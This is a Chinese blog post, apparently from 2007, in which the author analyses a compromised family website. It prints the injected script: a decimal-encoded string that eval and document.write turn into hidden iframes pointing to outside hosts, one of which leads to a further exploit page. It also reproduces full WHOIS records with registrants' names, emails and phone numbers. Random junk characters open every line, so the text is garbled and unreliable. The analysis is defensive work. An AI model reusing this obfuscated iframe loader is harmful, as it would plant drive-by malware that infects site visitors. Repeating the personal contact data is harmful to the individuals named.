首发在我的博客里面，
L:mE)Xq2 2_o\Wor# http://www.areway.cn/?p=175 2EN}"Du]mj U:eX^LE7 <SOG?Lh~ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
;L# RFdh B]}gfVO <script>t=’60,105,102,114,97,109,101,
&m[}%e%~0 32,115,114,99,61,104,116,116,112,58,47,47,
!g}@xwWax 102,114,101,101,46,117,45,117,117,117,46,99,
gzH;`, 110,47,101,114,114,111,114,46,104,116,109,
tq@)J_7| 32,119,105,100,116,104,61,49,48,48,32,104,
Tz.okCo]z 101,105,103,104,116,61,48,62,60,47,105,102,
j)@{_ tv6; 114,97,109,101,62′;
;;XY& J t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
bwP@ }(K [cZ/)t m <script>t=’60,105,102,114,97,109,101,32,115,
) R5j?6}xF 114,99,61,104,116,116,112,58,47,47,102,114,
.0gfP4{1{ 101,101,46,117,45,117,117,117,46,99,110,47,
*=v%($~PK6 101,114,114,111,114,46,104,116,109,32,119,
w^ofH-R/ 105,100,116,104,61,49,48,48,32,104,101,105,
Z)=S>06X Q 103,104,116,61,48,62,60,47,105,102,114,97,
ePI N<F;I 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
ydY 7 :D document.write(t);</script>
$UK m[:7 ?$tD <html xmlns=”
L]"$d F http://www.w3.org/1999/xhtml b\o> 4T “>
3XQe? 2:< <head>
5 $$Cav <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
X%JyC_~< <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
].aFdy <title>首页 - 爱生活家庭网
0kls/^ 0, $)PS#ND& 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
|r?0!;bN0 转换字符串后的大概内容是（谁点击后果自付）：
P O0Od z <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
m$(OQ,E Mw-L?j0o[k 查询玉米u-uuu.cn的详细信息：
W?P4oKsql* Domain Name: u-uuu.cn
(vzYg U, ROID: 20070901s10001s64972306-cn
_y>drvg Domain Status: ok
h)j#?\KYm9 Registrant Organization: 王雷
5M #',(X Registrant Name: 王雷
S% Ky+0 Administrative Email:
czlovexs@126.com v, ni9DIu Sponsoring Registrar: 北京万网志成科技有限公司
hu"-dT;4] Name Server:ns.yovole.com
0`p"7!r Name Server:ns1.yovole.com
!
9*l!( Registration Date: 2007-09-01 17:54
(4yXr|to} Expiration Date: 2008-09-01 17:54
/-^J0f+l3 最后PING了一下地址 都没有什么….
s"w^E\ >6 GE =S.P; 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
@"/H
er <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
'73}{" ' <script language=”javascript” src=”
t] ]Ig http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 0:4>rYBC >
$^czqA-& 这个玉米应该有可能是木马作者的：
][V`ym-e foafau.info的详细信息：
0c!^=( Access to INFO WHOIS information is provided to assist persons in
KD +&5 =Y determining the contents of a domain name registration record in the
Bj><0
cNF Afilias registry database. The data in this record is provided by
0raFb,6l Afilias Limited for informational purposes only, and Afilias does not
BI*0JKQu guarantee its accuracy. This service is intended only for query-based
I!u=.[5zdC access. You agree that you will use this data only for lawful purposes
&0|Z FXPd and that, under no circumstances will you use this data to: (a) allow,
1uG)U)y/Q enable, or otherwise support the transmission by e-mail, telephone, or
#r?[@aJ facsimile of mass unsolicited, commercial advertising or solicitations
\pTC[Ry1 to entities other than the data recipient’s own existing customers; or
PU1YR;[Fe (b) enable high volume, automated, electronic processes that send
F6Q%<p a queries or data to the systems of Registry Operator, a Registrar, or
8'TIDu Afilias except as reasonably necessary to register domain names or
8f)pf$v` modify existing registrations. All rights reserved. Afilias reserves
fi ~@J` the right to modify these terms at any time. By submitting this query,
)t7MD( you agree to abide by this policy.
GVn'p
Wg Domain ID:D22418703-LRMS
'/0e!x/8 Domain Name:FOAFAU.INFO
:) B1|1 Created On:20-Nov-2007 16:05:42 UTC
f2SJ4"X Last Updated On:20-Nov-2007 16:05:44 UTC
-JPkC(V7] Expiration Date:20-Nov-2008 16:05:42 UTC
LN<rBF[_:f Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
O<,\ tZ'N Status:CLIENT DELETE PROHIBITED
@]2aPs} }6 Status:CLIENT RENEW PROHIBITED
'o0o.&/= Status:CLIENT TRANSFER PROHIBITED
yIngenr$ Status:CLIENT UPDATE PROHIBITED
bT
T> Status:TRANSFER PROHIBITED
2|B@s3 a Registrant ID:GODA-040110615
8<C@I/ Registrant Name:liu hong
$9X?LGUz Registrant Organization:
v JVh%l+ Registrant Street1:beijing
}''0N1,/ Registrant Street2:
NYG!\u\R m Registrant Street3:
:5T=y @ Registrant City:beijing
~EXCYUp4v Registrant State/Province:
R~[~(`/S Registrant Postal Code:100000
2Kr>93O Registrant Country:CN
S'ms>ZENC Registrant Phone:+86.860108888777
HUCJA-OZGL Registrant Phone Ext.:
>py[g0J Registrant FAX:
d^!3&y& Registrant FAX Ext.:
RIO?rt; Registrant Email:bbbshiji@163.com
vZ$E
[EG} Admin ID:GODA-240110615
VGxab;#,:3 Admin Name:liu hong
.j|uf[?h Admin Organization:
VQG$$McJ Admin Street1:beijing
@H+L1H% 9n Admin Street2:
9(z ) ^ G Admin Street3:
[E6ceX0 Admin City:beijing
Yjd / Admin State/Province:
_G.!^+)kEm Admin Postal Code:100000
Ef ?|0Gm Admin Country:CN
N1. 1 Admin Phone:+86.860108888777
Lz-|M?( Admin Phone Ext.:
!hS)W7!ik Admin FAX:
OU#p^ 5K Admin FAX Ext.:
94t`&jZ&|u Admin Email:bbbshiji@163.com
5=<KA Billing ID:GODA-340110615
~$j;@ 4 Billing Name:liu hong
hmG8
{h/ Billing Organization:
~ QohP`_ Billing Street1:beijing
g&EK^q Billing Street2:
|4 2;171
Billing Street3:
+( af O ~9 Billing City:beijing
S+wT}_BQ Billing State/Province:
L%{YLl-zf] Billing Postal Code:100000
dw5"}-D Billing Country:CN
)uR_ d= B& Billing Phone:+86.860108888777
GQd[7j[sh Billing Phone Ext.:
Dr=$ }Y Billing FAX:
~!g2+^G7+P Billing FAX Ext.:
Jm g9|g!f Billing Email:bbbshiji@163.com
1-PlRQs.1 Tech ID:GODA-140110615
(3! 6nQj-t Tech Name:liu hong
N'aq4okoL Tech Organization:
`{
HWk^ Tech Street1:beijing
k\j_hu Tech Street2:
"%a<+D Tech Street3:
%,
iAn gF' Tech City:beijing
5/h-H r Tech State/Province:
T{`V US/ Tech Postal Code:100000
j;z7T;!i Tech Country:CN
OW@) 6 Tech Phone:+86.860108888777
FeO1%#2<y Tech Phone Ext.:
(#O" Tech FAX:
Vky] In= Tech FAX Ext.:
V mQ' Tech Email:bbbshiji@163.com
mEi(DW)( Name Server:NS27.DOMAINCONTROL.COM
Qy[S~D_ Name Server:NS28.DOMAINCONTROL.COM
=&9c5"V& Name Server:
2e-bt@0t Name Server:
<%m1+ %mA. Name Server:
p9u'nDi Name Server:
R 4JfH Name Server:
/QVwZrch Name Server:
K\8zhY Name Server:
U:3O E97 Name Server:
I_Gz~ qk6 Name Server:
mD&I6F[s Name Server:
%eIaH!x: Name Server:
74:~F)BP rKFnivGT 接着下载每个文件里面的代码：
$M!iQ"bb 一步一步看..
w4}Q6_0v 
K{`R`SXD 
lA1 
y06* *f) 
Tbv w?3 
B]() 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
